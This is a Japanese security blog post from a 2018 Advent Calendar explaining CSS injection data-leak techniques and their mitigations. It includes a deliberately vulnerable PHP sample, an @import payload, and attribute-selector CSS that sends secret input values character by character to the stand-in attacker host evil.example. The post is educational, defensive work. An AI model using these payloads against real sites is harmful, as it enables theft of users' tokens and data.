CSS Injection 再入門

本稿はセキュリティキャンプ 修了生進捗 #seccamp OB/OG Advent Calendar 2018 の 17 日目として書かれた記事です。一時期よく話題に上がっていた CSS Injection を, 改めて眺め直してみたいと思います。

はじめに

#seccamp 2012 Web セキュリティクラス卒業生のつばめ(@lmt_swallow, @y0n3uchy)です。セキュリティ・(ミニ|ジュニア)キャンプに最近カメラ片手に出没しています。来年も頑張るぞい。

卒業生進捗 Advent Calendar らしいので, 最初に少しだけ, 自分の近況について触れておくことにします。

自分の今いる大学は 2 年生までは教養学部に所属せねばなりません。そのため大学では心理学や脳科学, 数学(のさわり)の勉強をたくさんしています(授業に潜ったり)。そうしてこれまでの趣味とは外れたことに熱中し始めたので, この一年は人間的な進捗・技術的な進捗に不安がありました。

そのため今年は外に出て LT や長めのトークをすること, 大学外の所属先での研究で何らかの成果を上げること, の 2 つを毎月のマイルールとしていました。最近出した論文(reject されました :innocent:)関係の結果や, 某に報告したまだ修正されていない Security Issue など, 今年一年で生んだ新規性のある結果については, あまり公開に至っていないのが無念。実力不足の証拠ですね。

悲しいことに時間は有限なため週末が消えてしまったりだとか, 自分の軟弱さ故に体力が厳しかったりだとかは事実でしたが, これまで以上にハリのある楽しい一年でした。何度か大きい挫折はしましたが, それもよい経験でした。僕のような若輩者に機会をくださった方々には, 感謝が尽きません。:bow: をしています。

そんな 1 年の中, そこそこ色々なトピックについてトークをしたり, 書いたりをしました(参考: ページ下部にスライド一覧あり)。その中でも本記事では CSS Injection ++ - 既存手法の概観と対策 というネタを, スライドから文章に変換してみることにします。

CSS Injection とは

CSS Injection は CSS コードの断片を, XSS よろしく, 攻撃対象ページに注入することです。

例えば以下の PHP が, http://site.example/index.php でホストされているとします:

<style>
<?php
echo htmlspecialchars($_GET['q']);
?>
</style>
<!-- 次の 2 つはユーザー固有のトークン -->
<p>this_is_my_secret_token</p>    
<input type="hidden" value="this_is_my_secret_token">

上記のサンプルコードを読むと, GET パラメータの q に挿入した値が, <style> タグの中で出力されることが分かります。確かに CSS を注入できる, という局面になっていますね。

CSS Injection の悪用?

上述の例の局面は, なんだか XSS と似た状況に見えせんか。CSS は JavaScript に比べてだいぶ表現力は弱いものの(例えば JS と異なり CSS 単体は Turing 完全ではないはず), もしかしたら何か悪用されうるのではないか, という直感を得ます。

そこで CSS を注入できるというこの局面を, 攻撃者の目線から眺めてみることにします。特に, 「どうにかして <p>this_is_my_secret_token</p><input type="hidden" value="this_is_my_secret_token"> のような大切そうなデータを, CSS の注入のみを利用して, 奪取することはできないだろうか」という’問題について考えてみましょう。

CSS Injection によるデータリークの原理

ここからは CSS Injection がいかにしてデータリークにまでつながるのか, 順を追って整理してみたいと思います。

状況の設定

攻撃者は攻撃対象のブラウザ上で, q を適切に指定した上述のページ (e.g. http://site.example/index.php?q=(CSSコード)) を開かせることができます。あるいは攻撃者がホストしている細工済の罠ページを開かせることができます。

攻撃者が手に入れたいのは上述のサンプルコード中の <p> の中身と, <input>value です。

攻撃の自由度

まず攻撃者に与えられる自由度を確認するために, 「任意の CSS コードが注入できるか」を考えてみます。

q で与えた値は htmlspecialchars を経由して出力されます。そのため大雑把に考えると, > < ' " & あたりの文字がエスケープされてしまいますね。

しかし実際のところ, それら特殊文字を使わずに CSS を書くことは, そう難しくありません。もっとも q@import url(//example.com/evil.css) を指定することにより外部 CSS をロードすることができます。

結果 htmlspecialchars はあれど, 攻撃者は特に文字種への制約を受けず, 大変自由に CSS を書いて注入できることがわかりました。

<input>: Attribute selector (属性セレクタ) を利用した手法

まず <input>value のリーク手法について考えてみます。この手法は 2008 年には既に知られていた手法です。

** 注記: ** 2016 年のこれが走り だと思っていたら, @kinugawamasato さんがもっと古いものを教えてくださった。 感謝です :bow:

CSS には, attribute selector (属性セレクタ) と呼ばれるものがあります。例えば次のような CSS により, value'thinking_face' から始まる <input> にのみスタイルを適用することができます:

input[value^='thinking_face'] { 
    // styles
}

そこで攻撃者は次のような CSS を標的サイトに注入し, 用意したホストにリクエストが飛んでくるのを待つことによって(ここでは evil.example が攻撃者のもつホスト), フォームの 1 文字目を特定することができます(ここでは value が高々 [a-z] に収まる場合):

input[value^='a'] {background-image: url(http://evil.example/?value=a);}
input[value^='b'] {background-image: url(http://evil.example/?value=b);}
input[value^='c'] {background-image: url(http://evil.example/?value=c);}
// ...
input[value^='z'] {background-image: url(http://evil.example/?value=z);}

こうして 1 文字目を特定できたとして, ここでは 1 文字目が 't' であったとしましょう。攻撃者は続いて, 次のような CSS を注入します:

input[value^='ta'] {background-image: url(http://evil.example/?value=ta);}
input[value^='tb'] {background-image: url(http://evil.example/?value=tb);}
input[value^='tc'] {background-image: url(http://evil.example/?value=tc);}
// ...
input[value^='tz'] {background-image: url(http://evil.example/?value=tz);}

この注入により, 1 文字目同様 2 文字目も特定することができますね。あとはこれを必要な回数繰り返すだけです。

手順を見て分かる通り, これは <input> に限らない話です。より具体的には, 属性値に盗みたいデータがある場合には, 概ねこの手法により実現できるはずです。

<p>: フォントの Ligature (リガチャ) を利用した手法

<input>value はあくまで属性値であったため, attribute selector を利用することができました。しかし <p> タグの中身はあくまでテキストノードであるため, その中身にセレクタからアクセスすることはできません。一時期 :contains 擬似クラスが CSS3 の spec に登場したことはありましたし, 今でも spec にその名残はありますが, 2018 年現在には存在していないはずです。

しかし攻撃者は <p> の中身のようなテキストノードに対してのリーク手法を持たないかというと, それは誤りです。その手法として, フォントの Ligature (リガチャ) と呼ばれる機能を利用した方法が知られています。

その詳細に踏み入ると, だいぶ記事が長くなってしまいそうですので, 本記事では詳細に踏み入らないことにします。以前自分が公開したスライドの 15 ページ目 あたりから, 大枠についてはメンションしておりますので, 気になる方はそちらをご覧ください。

またこの手法によるデータリークに関しては, 簡単な例として, PoC: Leak text nodes via CSS injection があります。この PoC は CSS recursive import と呼ばれる手法と, このリガチャによるデータリークを組み合わせたものです。手元に node と fontforge があれば簡単に再現させられますので, 一度お試しいただくと理解が深まると思います。recursive import なる手法は実際そんなに難しい話ではないのですが, 結構潰しの効く手法で, <input> の方にも活用できます。

また上記の PoC についての解説は, @Sekurak さんの Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację という記事が詳しいです。

その他のデータリークの手法

@kinugawamasato さんの @font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す は, その他の CSS Injection によるデータリークの手法として知られています。

またこの手法ををもう少し発展させた手法として, HarekazeCTF2018 Web250 : A custom css for the flag なども確認しておくと良いかと思います。

攻撃が起こりうる状況

上記で取り上げた手法に関しては, 少なくとも次のような要素たちが, 攻撃に必要な要素でした:

  • <style> の中に任意の文字列を挿入できること(<style> ごと挿入できるケースも含む)
  • Content-Security-Policy が設定されている場合,
    • style-src (ない場合 default-src) がホワイトリストベースであり, そのリスト中のどこかに任意 CSS を書ける場所が存在すること
    • Ligature を利用する場合はそれに加えて, font-src のリスト中に, 任意フォントをフレキシブルにおける場所が存在すること

ところで上記のような条件が整っているのであれば, 「CSS Injection が有効な局面では, 大体 XSS ができるだろうし, よりリッチな攻撃ができるのではないか」と思うのが自然だと思います。

しかし個人的には実世界の CSP ルールを眺めていると, 案外攻撃として案外実用性があるのでは, と思う瞬間がしばしばあります。また XSS 周辺の攻撃/防御技術についての潮流を考えると, なるほど, と思うことも多いです。しかしこのあたりの話は書くと長いので, またどこかのタイミングで, ということにしたいと思います。

対策

Content-Security-Policy

まず CSS Injection に対して Content-Security-Policy (CSP) は, 結構な威力を発揮します。default-src があるだけでもだいぶ違います。インラインな CSS も使えなくなりますし, 外部から悪意のある CSS を import しようにも, あくまで CSP の制約を満たす必要があるからです。style-srcdefault-src* でもない限り, なかなかこれは難しいでしょう。

現状の CSP の問題として script-src の設定が難しいという話がありますが, それに比べると style-src の設定はあまり難しくないような気がします。

<style> を Inject させない設計・実装

そもそも XSS 同様, Injection が起こることこそが悪であり, CSP などはあくまで 2 次対策です。

<style> の中に任意の文字列(あるいは <style> ごと)を挿入できるというのは, そもそも何か設計・実装に問題がある (XSS がありうる) 可能性があります。一度適切な設計か, 考え直すと良いと思います。根本的な話として, ユーザーから入力された HTML が出力されうる箇所には, 大体なんらかの危険があることを意識すべきです。

もちろん装飾タグ(e.g. <s><b>)のような一部の安全なタグのみに入力制限し, 検証することも, 確かにできなくはないです。例えば DOMPurify などは十分に強いです。しかしそれらにも時々バイパス手法が出てきます。となると, ユーザー入力の HTML を何らかのライブラリで検証した後出力する, というアプローチを取る際には, 色々とキャッチアップする努力が必要になるのではないかと思います。

最後に

Web セキュリティの話については, 体系化された知識が少ないと思っています。また, 確かに一気に全てを体系化するのは難しいとも思います(実装依存なところは多い)。

しかし部分的に体系化できるところはあるよなあ, という直感もあるのですよね。僕のような実力不足の若輩者ができることかは分かりませんが, そろそろ Web セキュリティについての長い文章を, 次(or その次)の技術書典あたりで書けたらなあと画策中です。

なんというか, Web セキュリティが好き, という若者を増やせたらいいなあ, と思うのでした。明日は who3411 さんの記事です。お楽しみに。

Written on December 17, 2018